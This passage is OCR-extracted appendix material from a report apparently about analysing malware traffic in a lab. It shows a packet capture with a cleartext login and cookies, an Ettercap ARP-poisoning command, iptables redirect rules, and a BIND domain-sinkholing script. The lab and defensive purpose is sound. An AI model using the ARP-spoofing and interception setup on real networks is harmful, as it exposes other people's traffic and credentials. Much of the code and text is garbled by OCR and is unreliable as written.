http-alt 36.348623 127.0.0.1 127.0.0.1	Content-Type: application/x-www-form-urlencoded
http-alt 36.390874 127.0.0.1 127.0.0.1	Content-Length: 95
http-alt 36.54/584 12/.0.0.1 12/.0.0.1	xsrf_token=3bebe5186b65b05e683b5cc12a219494177cb8a5&email=test&password=testpassword& website=HTTP/1_1_200_0K
http_alt 49 930393 127 0 0 1 127.0.0.1	Server: nginx
http-alt 50.435413 127.0.0.1 127.0.0.1	Date: Sat, 30 Apr 2016 13:14:12 GMT
http-alt 50.757034 127.0.0.1 127.0.0.1	Transfer-Encoding: chunked
http-alt 50.855495 127.0.0.1 127.0.0.1	Connection: keep-alive
http-alt 51.068878 127.0.0.1 127.0.0.1	Expires: Thu, 19 NOV 1981 08:52:00 GMT Carba-Control: no-store no-carba must-revalidate nost-check-0 pre-check-0
http-alt 51.126608 127.0.0.1 127.0.0.1	Pragma: no-cache
http-alt 51.185391 127.0.0.1 127.0.0.1	<pre>set-Cookie: sans=93fe9958834430ed5e6986a202b3ff9e; path=/; domain=www.sans.org; secure; HttpOnly</pre>
http-alt 51.369621 12/.0.0.1 12/.0.0.1	Set-cookie: sans-deleted; expires=Thu, 01-Jan-1970 00:001 GMT; path=/; domain=sans.org
᠃ Frame 891: 678 bytes on wire (5424 bits),	set-Cookie: sans=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; secure; httponly
Ethernet II, Src: 00:00:00_00:00:00 (00:00	Set-Cookie: SANS_INST=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=www.sans.org
Internet Protocol Version 4, Src: 127.0.0.	Set-Cookie: SANS_INST-deleted; expires=Thu, 01-Jan-1970 00:00:01 GHT; path=/; secure; httponly
Transmission Control Protocol, Src Port: 3	<pre>Set-cookie: sans=2fbe6a25f793bfb5f2f88117b255324e; path=/; domain=www.sans.org; secure; Httponly % Context 7 me options</pre>
Hypertext Transfer Protocol	X-Frame-options: SAMEORIGIN
Line-based text data: application/x-www-lo	x-XSS-Protection: 1; mode=block
	Strict-Transport-Security: max-age=28800; includeSubdomains
	<pre><!-- pullish.com/2008/com/ditional-stylesheets-vs-css-hacks-answer-neither/--></pre>
	<pre>![if lt IE 7]> <html class="no-js lt-ie10 lt-ie9 lt-ie8 lt-ie7 not-ie9" lang="en" xmlns="http://www.w3.org/1999/xhtml"></html></pre>
	Lenguil> if IF 7? <html class="no-is lt-ie10 lt-ie2 lt-ie2 not-ie2" lang="en" xmlns="http://www.w3.org/1999/xhtml"> <?endif]-</th></html>
	<pre><![if IE 8?> <html class="no-js lt-ie10 lt-ie9 not-ie9" lang="en" xmlns="http://www.so.org/1999/xhtml"><?endif?></html></pre>
	1 14 TF OLY detail class "no 3s 1+ 4a10" lans "an" umlas "hētas //www.w2 ans/1000/ubsml%s [[fandif] s
	Entire conversation (119838 bytes)
0000 00 00 00 00 00 00 00 00 00 00 00 0	Eind Save As Print O ASCII O EBCDIC O Hex Dump O C Arrays @ Raw
0030 0e 35 00 8d 00 00 01 01 08 0a 00 3e 29	
0040 10 d5 50 4T 53 54 20 2T 61 63 63 6T 7 0050 6c 6f 67 60 60 2f 75 73 6c 3d 61 62 6	Hep Filter Out This Stream Ch

Figure 17: Traffic appears in cleartext

Ettercap Setup:

1. Changes in the Config file:

Demystifying Malware Traffic 61



Figure 17: Setting the value of uid and gid to zero



Figure 18: Enabling the firewall rules

2. Execution of Ettercap in ARP mode (192.168.1.8 - Infected Machine):

Demystifying Malware Traffic | 62

ubuntu: ~		t⊥ En «×	6:42 AM 🔱
<pre>router@ubuntu:\$ sudo ettercap -TM arp:remote /192.168.1.8// / [sudo] password for router:</pre>	192.168.1.1// -w e	ttercap1.pcap	
ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team			
Listening on: ens33 -> 00:0C:29:8B:A5:59 192.168.1.101/255.255.255.0 fe80::20c:29ff:fe8b:a559/64			stunnel-5.31
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/all Ettercap might not work correctly. /proc/sys/net/ipv6/conf/ens Privileges dropped to EUID 0 EGID 0	/use_tempaddr is n 33/use_tempaddr is	ot set to 0. not set to 0.	
33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp 05 fingerprint 2182 known services Lua: no scripts were specified, not starting up!			
Scanning for merged targets (2 hosts)			
* > 100.00	% gz		
2 hosts added to the hosts list UNUU 1.0-4.1			
ARP poisoning victims:			
GROUP 1 : 192.168.1.8 00:0C:29:8B:20:96			
GROUP 2 : 192.168.1.1 E8:FC:AF:9E:C6:8A Starting Unified sniffing			
Text only Interface activated Hit 'h' for inline help			
Sun May 1 06:39:28 2016 [748813] 192.168.1.1:0> 192.168.1.8:0 (0)			
Sun May 1 06:39:33 2016 [561416] UDP 192.168.1.8:63672> 192.168.1.1:53 (30)			

Figure 19: Ettercap in ARP mode

3. SSL traffic in cleartext format and the IP address of the router:

Demystifying Malware Traffic | 63



Figure 20: Traffic in cleartext displayed in the console

4. Redirection of the above cleartext traffic to a file:



Figure 21: Redirection of the tool's output to a file

Appendix - G

24 = With open('/etc/hind/blockeddomains.com', 'f') as file : 25 = confdata = file.read() 26 27 # Removing of unwanted strings in the file 28 confdata = confdata.replace('zone "', '') 29 confdata = confdata.replace('" IN (type master; file "/etc/bind/blockeddomains.zone";);', '. IN A 162.213.37.220') 30 31 # Write the blockeddomains.zone file and create a proper format of blockeddomains.zone file 32 stamp=datetime.datetime.now().strftime("%Y%m%d") 33 = With open('/etc/bind/blockeddomains.zone', 'w') as file: 34 file.write('\$TTL 1000\n@ IN SOA yourdnsserveroranynonexistingdomain25343455354fg45f345ef4.com. admin (\n'+ 35 stamp+'; serial\n3; refresh\n15; retry\n1; expiry\n1; minimum\n)\n@ IN NS ns1\n@ IN NS ns2\n\nns1 IN 35 file.write(confdata) 36 # below line will help in blocking www as well as subdomains of blocked domains. 37 file.write('* IN A 162.213.37.220\n')

automatebindubuntu.py

bindubuntu.py 🗵 🖃 auto import urllib.request, sys, os, datetime #Download the file from malwaredomains.com urllib.request.urlretrieve("http://mirror2.malwaredomains.com/files/spywaredomains.zones", "/etc/bind/blockeddomains.conf") #Remove first 11 lines out of the file lines = open('/etc/bind/blockeddomains.conf').readlines()
open('/etc/bind/blockeddomains.conf', 'w').writelines(lines[11:]) 14 # Now, replace the path to '/etc/bind/blockeddomains.zone' which currently is '/etc/namedb/blockeddomain.hosts' within the
blockeddomain.conf file for all the zones
filedata = filedata.replace('" {type master; file "/etc/namedb/blockeddomain.hosts";}; ', '" IN {type master; file
"/etc/bind/blockeddomains.zone";};') 16 # Write the file out again
Write the file out again
Write open('/etc/bind/blockeddomains.conf', 'w') as file:
 file.write(filedata+'\n') # Read the '/etc/bind/blockeddomains.conf' file to create a 'blockeddomains.zone' file confdata = None
24 Ewith open('/etc/bind/blockeddomains.conf', 'r') as file :
25 C confdata = file read() confdata = file.read() # Removing of unwanted strings in the file confdata = confdata.replace('zone "', '')

Appendix - H

Network Interfaces for the Router:

🚰 router@ubuntu: ~						
router@ubuntu:~\$ ifconfig						
ens33 Link encap:Ethernet HWaddr 00:0c:29:4d:79:ef						
inet addr:192.168.1.103 Bcast:192.168.1.255 Mask:255.255.255.0						
inet6 addr: fe80::20c:29ff:fe4d:79ef/64 Scope:Link						
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1						
RX packets:248 errors:0 dropped:0 overruns:0 frame:0						
TX packets:178 errors:0 dropped:0 overruns:0 carrier:0						
collisions:0 txqueuelen:1000						
RX bytes:20750 (20.7 KB) TX bytes:17763 (17.7 KB)						
ens34 Link encap:Ethernet HWaddr 00:0c:29:4d:79:f9						
inet addr:192.168.111.144						
inet6 addr: fe80::20c:29ff:fe4d:79f9/64 Scope:Link						
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1						
RX packets:753 errors:0 dropped:0 overruns:0 frame:0						
TX packets:216 errors:0 dropped:0 overruns:0 carrier:0						
collisions:0 txqueuelen:1000						
RX bytes:57899 (57.8 KB) TX bytes:30857 (30.8 KB)						
lo Link encap:Local Loopback						
inet addr:127.0.0.1 Mask:255.0.0.0						
inet6 addr: ::1/128 Scope:Host						
UP LOOPBACK RUNNING MTU:65536 Metric:1						
RX packets:211 errors:0 dropped:0 overruns:0 frame:0						
TX packets:211 errors:0 dropped:0 overruns:0 carrier:0						
collisions:0 txqueuelen:0						
RX bytes:19261 (19.2 KB) TX bytes:19261 (19.2 KB)						
router@ubuntu:~\$ ping -I ens33 google.com						
PING google.com (216.58.197.78) from 192.168.1.103 ens33: 56(84) bytes of data.						
64 bytes from google.com (216.58.197.78): icmp_seq=1 ttl=55 time=101 ms						
^C						
google.com ping statistics						
2 packets transmitted, 1 received, 50% packet loss, time 1004ms						
rtt min/avg/max/mdev = 101.450/101.450/101.450/0.000 ms						
router@ubuntu:~\$ ping -I ens34 google.com						
PING google.com (216.58.197.78) from 192.168.111.144 ens34: 56(84) bytes of data.						
From 192.168.111.144 icmp_seq=1 Destination Host Unreachable						
From 192 168 111 144 icmn gen=2 Destination Host Unreachable						

Figure 1: Network interfaces

1. IP forwarding in Router:

Demystifying Malware Traffic | 66



Figure 2: IP Forwarding

2. Firewall Rules:

🚰 router@ubuntu: ~							
router@ubuntu:~\$ sudo iptables -t nat -A	PREROUTING -p tcpd	iport 80 -j REDIRECTto-ports 8080					
router@ubuntu:~\$ sudo iptables -t nat -A	PREROUTING -p tcpd	iport 443 -j REDIRECTto-ports 8443					
couter@ubuntu:~\$ sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE							
router@ubuntu:~\$ sudo iptables -t nat -L							
Chain PREROUTING (policy ACCEPT)							
target prot opt source	destination						
REDIRECT tcp anywhere	anywhere	tcp dpt:http redir ports 8080					
REDIRECT tcp anywhere	anywhere	tcp dpt:https redir ports 8443					
Chain INPUT (policy ACCEPT)							
target prot opt source	destination						
Chain OUTPUT (policy ACCEPT)							
target prot opt source	destination						
Chain POSTROUTING (policy ACCEPT)							
target prot opt source	destination						
MASQUERADE all anywhere	anywhere						
router@ubuntu:~\$							

Figure 3: Rules for iptables